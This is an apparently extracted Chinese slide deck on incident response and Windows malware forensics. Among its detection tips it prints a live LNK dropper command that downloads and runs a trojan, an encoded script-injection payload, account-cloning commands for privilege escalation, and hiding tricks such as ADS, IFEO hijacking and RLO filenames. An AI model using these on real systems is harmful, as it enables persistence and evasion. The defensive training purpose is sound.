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大綱

事故現場作業程序

本機網路分析

系統活動分析

檔案分析
動態程式查找

一般的查找方式一般的查找方式

一般的查找工具

靜態木馬檢查

木馬防查殺的目標

進階的躲藏方式

其他資安系統記錄

植入原因推測

問題與流程討論



事故現場作業程序事故現場作業程序



異常現象回報

監控通報
發現不允許的特定連線
發現內部主機在進行掃瞄
資料庫稽核記錄異常
主機或網路無法正常提供服務

使用者感覺
螢幕上出現不正常自動操作螢幕上出現不正常自動操作
網路變慢，開機久且會跳錯誤訊息

第三方回報
資料外洩
網站被置換或植入程式
犯罪調查

較難感覺到
ARP木馬



緊急應變的事故成因

惡意攻擊
漏洞入侵(網站伺服器、AP主機)
資料非經授權竊取(資料庫伺服器、AD主機)
DoS或DDoS

後門、木馬或病毒後門、木馬或病毒
人為點擊(電子郵件、網頁瀏覽、偽裝盜版程式/破解
軟體社交攻擊)
自動散佈(網芳擴張)
資料遭竄改或刪除

盜竊或勒贖(Ransomware、Sniffer)

其他單位通知跳板(Command-and-Control)



事故影響等級

不重要的系統中斷

重要系統受影響且造成服務品質降低

重要系統無法運作

影響範圍大或短期間發生頻繁的事故影響範圍大或短期間發生頻繁的事故

C&C或犯罪調查



決定採取步驟

依事故成因與影響等級判斷
事故回復：先回復運作為主
決定是否備份事故環境
將系統回復至前次正常狀態，完全破壞事證

事故排除：無法直接還原，須線上排除
決定是否備份事故環境
調查事故發生細節調查事故發生細節
消滅事故成因，確認系統正常運作，可能破壞事證

事故存證：未來具法庭需求，或電腦犯罪等與惡意程式
無關時（例如查密帳）
依證據標準備份事故環境
決定系統重新上線時間
使用備份環境的備份調查事故發生細節
媒體控制
法庭程序



從哪裏下手？

使用者以及管理者
第一手觀察資料

系統
系統活動記錄

系統環境系統環境

系統檔案，包含入侵殘留物(程序,檔案)

資安系統記錄與備份媒體

網路/通訊
網路封包側錄記錄

其他資安系統記錄



作業流程概觀

填寫
環境狀態歷程表

開始處理

是

否
是否進行
事件分析

環境備份

分析
目標物件

採證或
復原

事故通報

目標物件
的類別

網
路
活
動
分
析

系
統
活
動
分
析

設
定
分
析

檔
案
分
析

記
錄
分
析



作業流程概觀

環境狀態歷程表

時間 目標物件 位置 關係人 處理員 描述

注意*：記得要先對時
注意***：各種資料來源的時區與時間格式都不同



數位證據

利用特定技術，將事發現場所蒐集的各
種資料加以分析並找出可以被法庭(律)採
納的證據。

CSIRT專門負責調查和處理數位證據，
其主要工作包括：

蒐集證據 (Collect)

檢驗和分析證據 (Identify and Analyze)

保存證據 (Preserve)



國際上鑑識流程範例



犯罪證據蒐證步驟



數位鑑識調查參考資料

計畫名稱:數位鑑識標準作業程序之實務及方法
研究 -賴溪松教授

參考資料來源

http://ir.lib.ksu.edu.tw/bitstream/987654321/
3486/1/%E6%95%B8%E4%BD%8D%E9%93486/1/%E6%95%B8%E4%BD%8D%E9%9
1%91%E8%AD%98%E6%A8%99%E6%BA
%96%E4%BD%9C%E6%A5%AD%E7%A8
%8B%E5%BA%8F%E4%B9%8B%E5%AF
%A6%E5%8B%99%E5%8F%8A%E6%96%
B9%E6%B3%95%E7%A0%94%E7%A9%B
6+%E6%9C%9F%E6%9C%AB%E5%A0%B
1%E5%91%8A.ppt



網路活動分析網路活動分析



流程
分析
目標物件
的類別

/

網路活動分析

更新
環境狀態歷程表

程式/埠號列表

原始封包記錄

交付二線
分析人員

緊急中斷

網路分享列表

新目標物件



封包側錄(不建議於本機安裝)

WireShark(tcpdump)

SNORT(IDS)
KISMET(無線)



封包分析

相關網路設備記錄
封包側錄儀(最好由旁路側錄)
防火牆(L7較佳，能夠記錄Application)
IPS
WAF

適用於事件還在發生中，對於舊有事故通常沒
有存下完整記錄，難以追查

運氣好可透過封包分析完整記錄到攻擊、感染、
遠遙過程，以及得知攻擊者身份

Network Discover
類似安全稽核，不建議由網路發起主動探尋



商用網路鑑識工具

封包分析(Sniffer)
NetWitness
NIKSUN NetDetector
Sandstorm NetIntercept

流量分析流量分析
ntop
MRTG/PRTG、Cacti
IDS/IPS
Flow based monitor
Database Auditing



Sniffer分析目標

HTTP Attack 

SSL Attack

FTP from Intranet

SMTP from IntranetSMTP from Intranet

SQL Query

Non-http traffic on 80/443 port



本機網路活動觀察

ipconfig

本機連線狀態

netstat -nba

Tcpview / TCPLogViewTcpview / TCPLogView

Currports

fport

網路芳鄰活動

net share    net session  openfiles

net use



內建指令net家族

net localgroup
net group(網域控制站)
net share
net startnet start
net session
net use
net view
net user



後門連線分析練習

程式佔用埠號

當前連線狀態

網路分享

緊急中斷網路分享緊急中斷網路分享

原始封包側錄



參考資料

Computer Forensics: Investigating 
Network Intrusions and Cyber Crime

25



練習

Snapshop當前乾淨的VM

檢查以下程式的網路狀態

setop.exe

appmgmt.exeappmgmt.exe

biapple.exe

檢查目的

程式佔用埠號

當前連線狀態

網路分享



setop.exe

檔案：

C:\WINNT\svchost.exe

機碼值：

HKLM\SOFTWARE\Microsoft\Windows\CurrHKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Run\System

網路活動：

試圖連到140.136.71.81:52(140.136.25.2:52)

Whois資訊：輔仁大學



appmgmt.exe

網路活動：

DNS查詢stockfound.com

連往216.57.210.200:80

whois資訊：美國(原本位於湖北省)



biapple.exe

檔案：
C:\WINNT\svchost.exe
C:\WINNT\system32\msextapi.dll
C:\WINNT\system32\msrascfg.ini

機碼值：機碼值：
HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Run\GameServer
Browser Help Objects

網路活動：
DNS查詢rabbi.bi-apple.net



使用者 AD Server
跳板機2

跳板機1

跳板機3
www.hacker.net

127.0.0.1

潛伏期

反向式木馬案例

DMZ

Internet
Intranet

Router

Firewall

大陸駭客

Hacker DNS 
Server

DNS 
Server

www.hacker.net



使用者 AD Server
跳板機2

跳板機1

跳板機3

www.hacker.net

211.1.2.3

211.1.2.3
活動期一

反向式木馬案例(續)

DMZ

Internet
Intranet

Router

Firewall

大陸駭客

Hacker DNS 
Server

DNS 
Server

www.hacker.net

www.hacker.net

211.1.2.3



使用者 AD Server
跳板機2

跳板機1

跳板機3

www.hacker.net

211.1.2.3
211.1.2.3

Remote Control

攻擊內
部機器

活動期二

反向式木馬案例(續)

DMZ

Internet
Intranet

Router

Firewall

大陸駭客

Hacker DNS 
Server

DNS 
Server

反向連接
211.1.2.3:80

Remote Control



系統活動分析系統活動分析



系統資訊收集

分析
目標物件
的類別

更新
環境狀態歷程表

設定分析

新目標物件

使用者與群組
列表

交付二線
分析人員

緊急變更

開機時程式與
排定的工作

機碼值 系統環境



基本記錄工具

cmd
dir /a/s/b
regedit/regedt32.exe
reg/regdmp.exe
sc.exe query bufsize= 10000sc.exe query bufsize= 10000
netsh diag show all /v (old)
netsh dump
route print
gpresult
set 



內建指令net家族

net localgroup
net group(網域控制站)
net share
net startnet start
net session
net use
net view
net user



使用者躲藏

常見的使用者躲藏方式
無法列表的使用者

修改現有使用者權限

相關工具
net usernet user
PsGetSid
user2sid
sid2user
aio
Cca
HideAdmin



隱藏的使用者

無法列表的使用者

在AD環境下，hostname$則是各主機的電腦
註冊帳號，登入時執行身份為NETWORK 
SERVICE

結尾帶有$的本機使用者名稱，也會讓結尾帶有$的本機使用者名稱，也會讓
Windows認為它是電腦帳號

使用 net user 看不到

修改現有使用者權限(克隆帳號)
讓新帳號與內建帳號(administrator, guest)的
SID相同



aio.exe

aio -clone administrator guest 123456

用guest / 123456登入，成為administrator



aio.exe

難以察覺



克隆帳號查找法

aio –checkclone
cca \\主機 administator 密碼

GuestDelete Guest刪除大師



克隆帳號查找法 –迴避查找

建一個管理者帳號

clone該帳號

刪除該帳號SAM裏的FV(不要用net delete)



克隆帳號查找法 2

Reged32.exe改權限
\\HKEY_LOCAL_MACHINE\SAM\SAM



克隆帳號查找法 2 (續)

Regedit
\\HKEY_LOCAL_MACHINE\SAM\SAM\Domai

ns\Account\Users

看誰的F值跟administrators一樣



克隆帳號查找 –風險

有經驗的駭客會取消 administrators對這
些機碼的讀寫權限

\\HKEY_LOCAL_MACHINE\SAM\SAM

\\HKEY_LOCAL_MACHINE\SAM\SAM\Domai
ns\Account\Usersns\Account\Users

無法讀寫或修改權限時，可以確認主機已
經遭到攻擊



練習

回復到乾淨VM

收集使用者狀態

檢查以下程式的使用者狀態

useradd.batuseradd.bat

檢查目的

比對使用者狀態



Event Log 

Evt(Windows XP/2003)、Evtx(Windows 
7/2008

Application 

Security

System

建議事先開啟檔案稽核

修改安全性原則



Event Log 常見蒐查目標

調整時間值(Security Event ID 520) 超過1
天

讀寫 C$, D$, E$..的事件 (Security Event 
ID 5140)

程式執行失敗，例如安裝核心驅動程式失
敗(System Event ID 7045) 

登入遠端RDP失敗(System Event ID 
10006)

指定的目錄被寫入檔案



遠端讀寫檔案

Event ID 5140
列出所有讀寫 C$, D$, E$..的事件，串查登
入主機當時的所有登入者



登入桌面

列出遠端登入桌面的來源和使用帳號

Application event ID : 4001

登入事件，但正常事件可能很多，難以區分

相關事件

Application event ID :9003 Application event ID :9003 
DWM(Desktop Window Manager)啟動失敗，代表有登入桌面

Application event ID :9009 
DWM結束

System event ID:7001
客戶經驗改進通知，代表有登入桌面



練習

回復到乾淨VM

匯入Event Log

檢查遠端存取事件



環境資訊蒐集

常用蒐集小工具

HijackThis-顯示常被惡意植入的目標設定

autoruns –顯示會隨開機自動啟動的程式

msconfig – 顯示開機設定



檔案分析檔案分析──動態程式查找動態程式查找



動態程式查找
分析
目標物件
的類別

系統活動分析

更新
環境狀態歷程表

執行中程式清單

開啟服務

緊急停止

執行中DLL清單

新目標物件

交付二線
分析人員



一銀ATM盜領案



一般查找的可疑目標

檔案與服務的名稱

檔案與服務的版本與描述

檔案時間

網路埠網路埠

執行中程式與狀態列表

執行中DLL與狀態列表

已開啟服務狀態列表



一般查找方式

常用自動工具

SysInternals (Microsoft)
– Process Explorer

– Process Monitor

– Pstools Suite

NirSoft ToolsNirSoft Tools

IceSword

Wsyscheck

HookExplorer、Archon AntiAPIHook、Ring3 
APIHookScanner

tasklist /M、listdlls –檢視dll載入狀態

WhatsHappening – 顯示執行中的行程



Process Explorer

檢視當前行程狀態



Process Monitor

結合兩種監控工具

Filemon –檢視檔案讀寫狀態

RegMon –檢視登錄值讀寫狀態



SysInternals

常用

PSTools Suite

Autoruns

ProcessExplorer

Process Monitor (FileMon+RegMon)

TCPView



Pstools 工具包

PsExec –遠端執行程式
PsFile –顯示被遠端開啟的檔案
PsGetSid –顯示主機或使用者的SID
PsKill –移除程式行程
PsInfo –檢視系統資訊
PsList –檢視程式行程PsList –檢視程式行程
PsLoggedOn –檢視本機與遠端登入者
PsLogList –傾印事件檢視器記錄
PsPasswd –修改帳號密碼
PsService –檢視與控制服務
PsShutdown –關閉主機
PsSuspend –暫停行程



API Hook

一般程式會呼叫系統API進行工作。Hook
就是在呼叫系統API前，先讓程式呼叫到
惡意函數，執行完後再跳回系統API繼續
動作。

最基本的Hook User32.dll：
HKLM\SOFTWARE\Microsoft\Windows 
NT\CurrentVersion\Windows\Appinit_Dlls 



SSDT

System Services Descriptor Table
Ring0區，儲存各函數的位址
可用以攔截Windows的操作。防毒程式經常利用攔截
病毒，惡意程式經常利用躲避調查。

SSDT Hook
原本使用ntoskrnl.exe執行的操作，被第三方程式介
入，亦即把位址改成自己，處理完再丟回給
ntoskrnl.exe

INLINE SSDT HOOK
不是改對應位置，是改函數本身，先跳轉自己，處理
完再丟回

Rootkit例：NtDeleteFile Hook –防殺



FSD

檔案系統驅動程式(File System Driver)
例：File System Filter Driver：防毒、加解密、
檔案讀寫監控

FSD Inline Hook
讀寫檔案時先經過惡意

程式處理



Wsyscheck



Wsyscheck



Wsyscheck



Wsyscheck

檢查IE會帶起的選項



HookExplorer



練習

回復到乾淨VM

重新檢查下列程式的系統狀態

setop.exe

biapple.exebiapple.exe

檢查目的

找出新增檔案

找出新增服務

比對機碼值

比對其他系統狀態的變更



setop.exe

檔案：

C:\WINNT\svchost.exe

機碼值：

HKLM\SOFTWARE\Microsoft\Windows\CurrHKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Run\System

網路活動：

試圖連到140.136.71.81:52(140.136.25.2:52)

Whois資訊：輔仁大學



biapple.exe

檔案：
C:\WINNT\svchost.exe
C:\WINNT\system32\msextapi.dll
C:\WINNT\system32\msrascfg.ini

機碼值：機碼值：
HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Run\GameServer
Browser Help Objects

網路活動：
DNS查詢rabbi.bi-apple.net



程式分析 - Winalysis



程式分析 - Winalysis



程式分析 - Winalysis



練習

回復到乾淨VM
重新檢查下列程式的系統狀態

fswall.exe
FILE_101.exe

檢查目的檢查目的
找出新增檔案

找出新增服務

比對機碼值

比對其他系統狀態的變更

練習移除程式



fswall.exe

檔案：

C:\WINNT\system32\dump48.exe(偽裝微軟)

C:\WINNT\system32\kazaabackupfile\*.*

機碼值：機碼值：

HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Run\Dump System Debug and 
Control

透過Kazaa散佈惡意程式



FILE_101.exe

檔案：

C:\WINNT\system32\ntdvrlib.dll

C:\WINNT\system32\SCSrv.dll

C:\Documents and Settings\Administrator\Local 
Settings\Temp\Del*.tmpSettings\Temp\Del*.tmp

服務：

Script Client Service(WorkStation服務依存)

網路活動

DNS查詢view1.j2ee.us、view2.j2ee.us

連到1863/TCP



程式分析 - AntiVirus

例：VirusTotal



程式分析 – Online Sandbox Service

80



程式分析 – Online Sandbox Service

https://zeltser.com/automated-malware-analysis/

81



練習

回復到乾淨VM

重新檢查下列程式的執行結果態

iisdoor.exe

msnchecker.exemsnchecker.exe

rescue_system-common-en.exe

Check and Get v1.14.zip

Check And Get v1.8.70.zip



檔案分析檔案分析──靜態檔案檢查靜態檔案檢查



靜態檔案檢查
分析
目標物件
的類別

檔案分析

更新
環境狀態歷程表

可疑檔案搜尋

相關檔案搜尋

緊急移除

檔案備分

新目標物件

交付二線
分析人員

記錄檔案屬性



靜態尋找

尋找可疑檔案

在不執行惡意程式的情況下進行分析

對非二進位格式檔案可直接檢視

對二進位格式檔案進行先期處理對二進位格式檔案進行先期處理

分析工具利用光碟執行

分析工具以非安裝檔為主



PE格式

PE(Portable Executable)可移植式執行檔：
可在所有 Microsoft 32 位元作業系統中執
行的檔案，相同的 PE 格式檔案可在任何
版本的Windows 95、98、Me、NT 與
2000 上執行。2000 上執行。

標頭為4D 5A(MZ)。

常用附檔名：exe、dll，但可使用.gif等其
他檔名偽裝。



檔案搜尋與分析–二進位格式檔案

檢視是否為PE格式檔案
檔案屬性、大小、版本等

檢視檔案的可讀字元

tree-檔案列表
BinaryTextScan-可讀字元內容BinaryTextScan-可讀字元內容
fciv.exe、 md5sum -檔案檢查碼
ff.exe-檔案尋找與比對
xcopy.exe-檔案備分
Rootkit搜尋
AntiVirus、AntiTrojan(不建議在原始證據或
線上系統執行)



ForensicToolkit20

AFind –找出檔案上次存取時間，不會修改屬性

Audited –找出受稽核的檔案

DACLchk.exe –找出所有可供全部使用者存取的
檔案。

FileStat –快速列出檔案屬性FileStat –快速列出檔案屬性

HFind –找出所有隱藏檔及其上次存取時間

Hunt –快速列出現有分享資源

SFind –找出所有隱藏資料流及其上次存取時間



加殼與剝殼

PE檔案的加殼/剝殼機制
– Aspack
– ASProtect
– Petite 
– PECompact– PECompact
– Neolite 
– Shrinker
– Upx 
…
萬用撥殼機Ollydbg、ProcDump32、PeiD



Peid



Maleware Analyzer

http://malwareanalyser.blogspot.com/



練習

回復到乾淨VM

列出 Virus目錄下的加殼程式



網頁木馬的植入點(非二進位檔)

檔案植入(html, jsp, asp, asa, php, vbs)
網頁後門新檔、腳本程式碼： html、jsp、
asp、php、vbs…等
可疑的文件或批次檔：txt、cfg、ini、bat…
等
變更舊有程式變更舊有程式
上傳目錄
ISAPI置換：
%systemroot%\system32\inetsrv\
/test.asp/或/test.aspx/或/test.asa/目錄下所
有檔案都視為可執行

資料庫植入
留言版
交互式功能



網頁木馬查找

工具檢查
與原本檔案清單比對
ff.exe依時間查找
網路安全衛士(效用較差，但方便列出副檔名)
雷客圖ASP站長安全助手
思易ASP木馬追捕、淘特思易ASP木馬追捕、淘特

手工核對
asa cer cdx stm shtml檔案
ISAPI中
網頁目錄下屬性為H的檔案或目錄
不一定能在線上檢查
不保證能全部找到
自己撰寫findshell



網路安全衛士



雷客圖

指令

cscript [安裝目錄\Scan.vbs] [目標目錄] [報表
目錄\Report.html]

例：cscript Scan.vbs c:\InetPub 
C:\Report.htmlC:\Report.html



雷客圖



手工核對(1)

常用的Javascript內嵌碼
Iframe src=“http

<body onload

width小於10，或height小於10

"中間有帶(或)或@“

可疑但容易誤判的

document系列，例如document.write

新視窗系列， window.open

"http，特別是src=""及, onLoad=""



手工核對(1)-兩種躲藏的範例

<a href="http://www.sti.com.tw@1208929129">ADMIN 
LOGIN</A>

<script>

www = new obj1();

function obj1() {this.google=new obj2;}

function obj2() {this.com=obj3;}function obj2() {this.com=obj3;}

function obj3() 
{open("http://www.sti.com.tw@1208929129","NewWindow","toolb
ar=no,location=no,directories=no,status=no,menubar=no,scrollbar
s=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,
top=10");

}

</script>

<span id="1" onclick="www.google.com();">TEXT<span>



手工核對(2)-Script木馬

迴避明碼檢查
eval(
escape(
unescape(
encodeURI(encodeURI(
encodeURIComponent(
jscript.encode
javascript.encode
vbscript.encode
expression(



手工核對(2)-編碼後的範例

%3c%3d%2522%253e%253cscript%3eeval(unescape(%2522%2
52564%25256F%252563%252575%25256D%252565%25256E%
252574%25252E%252567%252565%252574%252545%25256C
%252565%25256D%252565%25256E%252574%252573%25254
2%252579%25254E%252561%25256D%252565%252528%2525
22%25256C%25256F%252567%252569%25256E%25255F%25
2566%25256F%252572%25256D%252522%252529%25255B%2
52530%25255D%25252E%252561%252563%252574%252569%52530%25255D%25252E%252561%252563%252574%252569%
25256F%25256E%25253D%252522%252568%252574%252574
%252570%25253A%25252F%25252F%252577%252577%25257
7%25252E%25257A%252575%252573%25256F%25252E%252
56F%252572%252567%25252E%252574%252577%25252F%25
2564%252565%25256D%25256F%25252E%252570%252568%2
52570%252522%2522))%253c/script%253e%253cscript



手工核對(2)-解碼



手工核對(3) –網頁後門

wscript

system( , shell_exec( , exec( ,  passthru(

fopen, popen,  fread, fclose, fwrite, 
file_exists, mkdir, rmdir, chmod, unlink, file_exists, mkdir, rmdir, chmod, unlink, 
closedir, is_dir, readdir.opendir, fileperms, 
delfile 

「`」php支援UNIX的跳脫執行符號
例：echo `ls`;

即shell_exec()



手工核對(4) – SWF/RM掛馬

swf掛馬針對已知/未知 flash player漏洞

rm掛馬針對已知/未知 rm player漏洞

比較實際的偵測方式

(1) 比對自有swf/rm檔案與原始檔是否被修改(1) 比對自有swf/rm檔案與原始檔是否被修改

(2) 網頁中轉導或引用(src=http)到他站swf/rm
檔的內容

各種CLSID



手工核對(5) – urlsnooper

在沒有Log的情況下監控頁面中的網址



手工核對(6) –轉址掛馬

目錄名稱帶有副檔名

*.asa目錄(直至2009年中才被公布)

jpg, gif：
– http://www.test.com.tw/show.jpg=>

– http://www.test.com.tw/show.jpg/=>

– http://www.test.com.tw/show.jpg/index.htm

404,500 Error 轉導向目標



手工核對(7) – Bookmark掛馬

偽裝的Bookmark

可被用於：可被用於：

釣魚網站

廣告頁面

XSS攻擊

DDoS攻擊



手工核對(7) – Bookmark掛馬-修改

url檔的篡改



手工核對(7) – Bookmark掛馬-修改

url檔的篡改-基本設定
URL：目標網址

WorkingDirectory：工作目錄

IconFile：圖示的取用來源，可以是ICO, DLL 或
EXE EXE 

IconIndex：圖示檔中第幾個

Modified：修改日期

ShowCommand：啟動後的視窗大小，3最小，7最
大

HotKey：設定直接連向此網址的快速鍵



手工核對(7) – Bookmark掛馬-修改

url檔的篡改-基本設定HotKey



手工核對(7) – Bookmark掛馬-修改

url檔的篡改-基本設定HotKey



手工核對(7) – Bookmark掛馬-查找

先檢查
HKEY_CURRENT_USER\Software\Micr
osoft\Windows\CurrentVersion\Explorer\
User Shell Folders的Favorites位置



手工核對(7) – Bookmark掛馬-查找

type *.url比對



手工核對(7) –同類概念延伸

啟始網頁：但常容易被發現

Proxy：不容易發現，但使用者會感覺變
慢

/etc/hosts檔：不容易發現/etc/hosts檔：不容易發現

附加DNS尾碼：超不容易發現



手工核對(7) –附加DNS尾碼

附加DNS尾碼



手工核對(7) –附加DNS尾碼



手工核對(8) – ARP 掛馬

Wireshark



手工核對(9) – IIS 篩選器和MIME  



findshell

dir *.aspx *.aspx /s /b > filelist.txt

findstr /i /r /s /g:%cd%\shell.sig 
/f:%cd%\filelist.txt > 
%cd%\find_shell_result_.txt



練習

檢查web目錄下哪些檔案可疑？

檢查ARP掛馬封包



惡意程式防查殺惡意程式防查殺



基本的檔案躲藏方式

檔名偽裝，例如exp1orer.exe

目錄偽裝，例如
%SystemRoot%\system32\explorer.exe

屬性+S +H隱藏屬性+S +H隱藏

執行時刪除自身

系統還原

取代現有檔案，例如dll掛馬



練習

回復到乾淨VM

重新檢查下列程式的系統狀態

SoftHome.exe

SoftHome2.exeSoftHome2.exe

檢查目的

找出新增檔案

找出新增服務

比對機碼值

比對其他系統狀態的變更



SoftHome.exe

檔案：

C:\Program Files\Internet 
Explorer\svhost32.exe

C:\WINDOWS\system32\mxdll.dll

機碼值：

HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Run\mx



SoftHome2.exe

檔案：

C:\Program Files\svhost32.exe

C:\WINDOWS\system32\xwdll.dll

機碼值機碼值

HKLM\Software\Microsoft\Windows\Current
Version\Run\xw



進階的躲藏方式

LNK捷徑檔
驅動程式
System Volume Information
.結尾目錄
-結尾檔案
副檔名開啟副檔名開啟
不可見字元副檔名
SupperHidden
ADS串流
反向檔名
com1保留字
資源回收筒
IFEO劫持
debug執行
PATH路徑



LNK 捷徑檔

捷徑是一串DOS指令的集合捷徑是一串DOS指令的集合

此例中，這串指令執行了

連接一個伺服器

下載惡意程式(木馬程式)

執行它！

%ComSpec% /c set h=p -&set j=ge&set s=.g03z.&echo echo o www%s%com^>t>b.bat&call 
b.bat&echo aa33>>t&echo bb33>>t&echo echo %j%t p p.vbs^>^>t>>c&echo echo 
bye^>^>t>>c&echo ft%h%s:t>>c&echo start p.vbs>>c&ren c h.bat&call h.bat&



驅動程式查找

set 
devmgr_show_nonpresent_devices=1

裝置管理員(devmgmt.msc)->顯示隱藏裝
置



System Volume Information

隱藏的系統資料夾，是「系統還原」工具
用來儲存其資訊與還原點的地方，每一個
磁碟分割上都有一個

預設帳號通常沒有權限瀏覽

檢查方式：檢查方式：
mt.exe –su
dir "C:\System Volume Information“
正常來說應該是空的，有東西就是有問題

使用mt.exe調查前應先關閉防毒程式
若系統上本來就有mt.exe，有問題



.結尾目錄

dir後目錄結尾為「.」
md test..\或mkdir test..\

copy hello.txt "G:\ERS\test..\\hello.txt"

無法直接刪除

無法使用搜尋找到

檢查法

start G:\ERS\test..\

rmdir "test..\"



-結尾檔案

檔名後結尾為「_」，為windows壓縮檔
如果是已知病毒，病毒的自動防護會忽略，
要全系統掃毒時才有可能找到

compress -R filename

檢查法

檔名尾巴
(但檔名可變更)

SZDD格式

expand –r filename



副檔名開啟

機碼值中設定exefile="%1" %*

檢查

assoc | find "exe"

ftype  | find "exefile"ftype  | find "exefile"

檢查所有副檔名開啟方式

反向利用抓自動啟動的後門

ftype  exefile="C:\recordexe.bat" %1

ftype  exefile="%1" %*



其他副檔名

HKEY_LOCAL_MACHINE\Software\CLASSES
\exefile\shell\open\command
\piffile\shell\open\command
\htafile\shell\open\command
\comfile\shell\open\command
\cmdfile\shell\open\command\cmdfile\shell\open\command
\batfile\shell\open\command



不可見字元副檔名

概念類似UNIX空白字元目錄
ALT-小鍵盤，例如ALT-128

中文全形「 」

不可見字元可能可用dir查出不可見字元可能可用dir查出

中文全形較難以以dir查出



不可見字元副檔名 –比一比



不可見字元副檔名

中文全形「 」

MS-DOS模式不一定查出來



SuperHidden

SuperHidden 就是System+Hidden

修改機碼值強制不顯示系統屬性與隱藏屬
性檔案(需重開機)

HKLM\SOFTWARE\Microsoft\Windows\CurrHKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Explorer\Advanced\Folder\Hidde
n\SHOWALL的CheckedValue被設為0，或型
態不是REG_DWORD

HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Explorer\Advanced\Folder\Super
Hidden的CheckedValue被設為1



SuperHidden

SuperHidden 就是System+Hidden

修改機碼值強制不顯示系統屬性與隱藏屬
性檔案(需重開機)

HKLM\SOFTWARE\Microsoft\Windows\CurrHKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Explorer\Advanced\Folder\Hidde
n\SHOWALL的CheckedValue被設為0，或型
態不是REG_DWORD

HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Explorer\Advanced\Folder\Super
Hidden的CheckedValue被設為1



SuperHidden



ADS串流

ADS(Alternate Data Stream)：NTFS系統下可
以隱藏檔案，且顯示大小不變，常被惡意利用。
寫入

– type test2.exe > test1.txt:test2.exe
執行

– start D:\test1.txt:test2.exe
刪除

– type test1.txt > test1-clean.txt
– 或把檔案copy到非NTFS系統
搜尋

– ADSSpy、Afind.exe

Kaspersky用這種方式作檔案檢查，所以搜尋時
會造成誤判。



反向檔名



反向檔名

Unicode字元檔名
LEFT-TO-RIGHT OVERRIDE (U+202D)

RIGHT-TO-LEFT OVERRIDE (U+202E)

例：putty (RLO字元)gpj. exe



反向檔名製作



反向檔名防護



反向檔名防護



反向檔名防護



com1保留字

Windows保留給設備用的保留字串con, nul, prn, lpt1, 
lpt2, aux, com1, com2,com3, com4...
目錄

– md C:\com1 失敗
– md C:\com1\成功
– copy text.exe C:\com1\
– 目錄無法刪除，cmd無法直接進入\– 目錄無法刪除，cmd無法直接進入\

檔案
– copy test.txt \\.\c:\com1.asp
– copy test.exe \\.\c:\com1.exe

執行
– cmd /c \\.\c:\com1.exe

刪除
– del \\.\c:\com1.exe
– rd /q/s \\.\c:\com1



資源回收筒(1)

資源回收筒內的隱藏檔案無法被看到

直接放到C:\Recycled、D:\Recycled下的
檔案無法被看到，也不會被清空

很多防毒軟體不會檢查此目錄很多防毒軟體不會檢查此目錄

Winrar可以直接瀏覽



資源回收筒(2)

目錄名稱帶有.{645FF040-5081-101B-
9F08-00AA002F954E}
使用md建立
將真正資源回收筒的desktop.ini複製到此
attrib +S +H desktop.iniattrib +S +H desktop.ini

直接瀏覽時會看到資源回收筒內容，看不
到裏頭的真實檔案

很多防毒軟體不會檢查此目錄

其他的CLSID也常被利用，例如控制台與
印表機



IFEO劫持

HKLM\SOFTWARE\Microsoft\Windows 
NT\CurrentVersion\Image File Execution 
Options裏建立的程式名稱，會先執行
REG_SZ:Debugger內的程式

通常用兩個目的

將後門綁到常用的正常程式上

妨礙調查：cmd.exe, regedit.exe,…



debug執行

平常利用純文字檔保存，難以被掃毒程式
與管理員發現

執行期：使用bat搭配debug執行
type malicious.txt | debug type malicious.txt | debug 

malicious.bin



debug製作

bin2text.exe將二進位檔案轉成純文字顯示
計算長度，基本上就是最後一行的位置加上最
後一行長度

位址加上0100h，每行保存格式為
e  100 4D 5A… 值e  100 4D 5A… 值

文字檔後方加上
n 檔名
rcx 
長度

w 
q 



debug查找

檢視所有bat檔



PATH路徑

Window程式搜尋DLL檔順序：
程式執行目錄

當前目錄

Windows system目錄 (由GetSystemDirectory函式決定)

Windows 目錄 (由GetWindowsDirectory函式決定)

PATH 環境變數PATH 環境變數



檔案行為分析練習

檔案備份

檔案列表

時間搜尋

隱藏與串流搜尋

加殼搜尋

特殊目錄

Rootkit搜尋
網頁程式木馬

瀏覽器記錄



應用程式與資安系統記錄應用程式與資安系統記錄



檢視設備記錄

伺服器端
長期Sniffer記錄
網站伺服器記錄

資料庫伺服器記錄

事件檢視器記錄

事件稽核記錄

個人電腦端
郵件記錄

瀏覽器記錄

惡意程式殘留物，設定檔等

網路行蹤追查



HTTP網站伺服器記錄

攻擊字串（含相對應編碼）：
Microsoft
SQL
Cmdshell
'
<或>
(或)

來源交互查找：
(1) 確認網頁木馬與HTTP攻擊的所有連線者
(2) 網頁木馬連線者曾瀏覽過的網頁
(3) 找到所有網頁木馬，回到(1)



HTTP網站伺服器記錄 –常用小技巧

排除：

404 Error

jpg、gif、js、css、mpg、mp3、avi

針對：針對：

500 Error

rar、zip、tar、gz、7z

POST



不道德追查

攻擊跳板機

公用帳號密碼猜解(例如:gmail.com)

社交工程(Mail, QQ)



瀏覽器使用記錄

IECookiesView
IECacheView
IEHistoryView
MozillaCookiesView
MozillaHistoryViewMozillaHistoryView
MozillaCacheView
OperaCacheView
ChromeCacheView
FlashCookiesView
SkypeLogView



瀏覽器使用記錄



郵件使用記錄

OEViewer



網路行蹤



網路行蹤



網路行蹤



網路行蹤



網路行蹤



問題與討論


